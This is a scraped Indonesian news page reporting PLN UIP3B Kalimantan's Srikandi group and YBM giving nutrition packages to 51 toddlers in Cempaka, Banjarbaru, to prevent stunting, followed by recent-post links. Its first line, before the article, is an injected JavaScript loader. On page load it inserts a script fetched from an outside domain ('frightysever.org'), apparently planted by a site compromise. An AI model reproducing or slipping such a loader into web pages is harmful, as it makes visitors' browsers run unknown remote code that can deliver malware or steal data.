(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
PLN UIP3B KALIMANTAN

Srikandi PLN Salurkan Bantuan Cegah dan Tangkal Stunting di Kelurahan Cempaka


KANALKALIMANTAN.COM, BANJARBARU – Srikandi PT PLN (Persero) Unit Induk Penyaluran dan Pusat Pengatur Beban (UIP3B) Kalimantan salurkan bantuan program cegah dan tangkal stunting kepada balita di Kelurahan Cempaka, Kecamatan Cempaka, Kota Banjarbaru, Kalimantan Selatan.

Aksi ini ini merupakan salah satu program Yayasan Baitul Ma’al (YBM) PLN UIP3B Kalimantan dan Srikandi PLN bersama Puskesmas Rawat Inap Cempaka dengan menyalurkan bantuan berupa bingkisan paket gizi kepada 51 balita.

General Manager UIP3B Kalimantan, Abdul Salam Nganro mengatakan, program ini diharapkan dapat memberikan dampak yang cukup signifikan bagi kesejahteraan anak-anak, terutama dalam hal pencegahan stunting.

“PLN melalui Srikandi PLN dan YBM terus berupaya untuk membantu mencegah stunting kepada generasi penerus bangsa, salah satunya kepada anak-anak di Kelurahan Cempaka. Semoga dengan bantuan yang disalurkan dapat membantu memenuhi kebutuhan gizi yang baik,” jelas Salam.

Baca juga: Ahmad Baihaqi Juara Turnamen Tenis Meja Ketua DPRD HSU Cup se Banua Enam

Ketua Gugus Tugas Srikandi PLN UIP3B Kalimantan, Rahayu Arimbi (rompi merah muda) bersama Kepala Puskesmas Rawat Inap Cempaka, dr Rosni Yuniarti (paling kanan) dengan perwakilan anak penerima paket gizi cekal stunting. Foto: pln

Sementara itu, dr Rosni Yuniarti, Kepala Puskesmas Rawat Inap Cempaka mengucapkan rasa syukur dan terima kasih kepada PLN.

“Kami ucapkan terima kasih atas bantuan paket gizi kepada balita penderita stunting di Kelurahan Cempaka, semoga program ini akan terus belanjut dan sukses selalu buat PLN,” ungkap dr Rosni.

Baca juga: Sambut HLN ke-78, PLN Bedah Rumah di Desa Mandikapau Timur

Stunting adalah kondisi ketika pertumbuhan tinggi anak yang tidak sesuai dengan tinggi badan normal usianya akibat kekurangan nutrisi. Anak-anak yang mengalami kondisi stunting memiliki tinggi badan yang lebih pendek dibandingkan dengan anak seusianya. (Kanalkalimantan.com/adv)

Reporter : adv
Editor : kk


Risa

Recent Posts

Langganan Luapan Air di Ruas Jalan Mistar Cokrokusomo Cempaka

KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More

5 bulan ago

22 Januari: Asal Usul Hari Pejalan Kaki Nasional

KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More

5 bulan ago

Selewengkan Dana Program Kader Sosial HST, Terdakwa Ajukan Keberatan

KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More

5 bulan ago

Curah Hujan Diprediksi Masih Tinggi, BPBD Banjarbaru Catat 169 Rumah Terendam Banjir

KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More

5 bulan ago

Banjir Rob Masih Jadi Ancaman Warga Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More

5 bulan ago

Hujan Diprediksi Hingga Maret 2025, BPBD Banjar Imbau Masyarakat Waspada

KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More

5 bulan ago

This website uses cookies.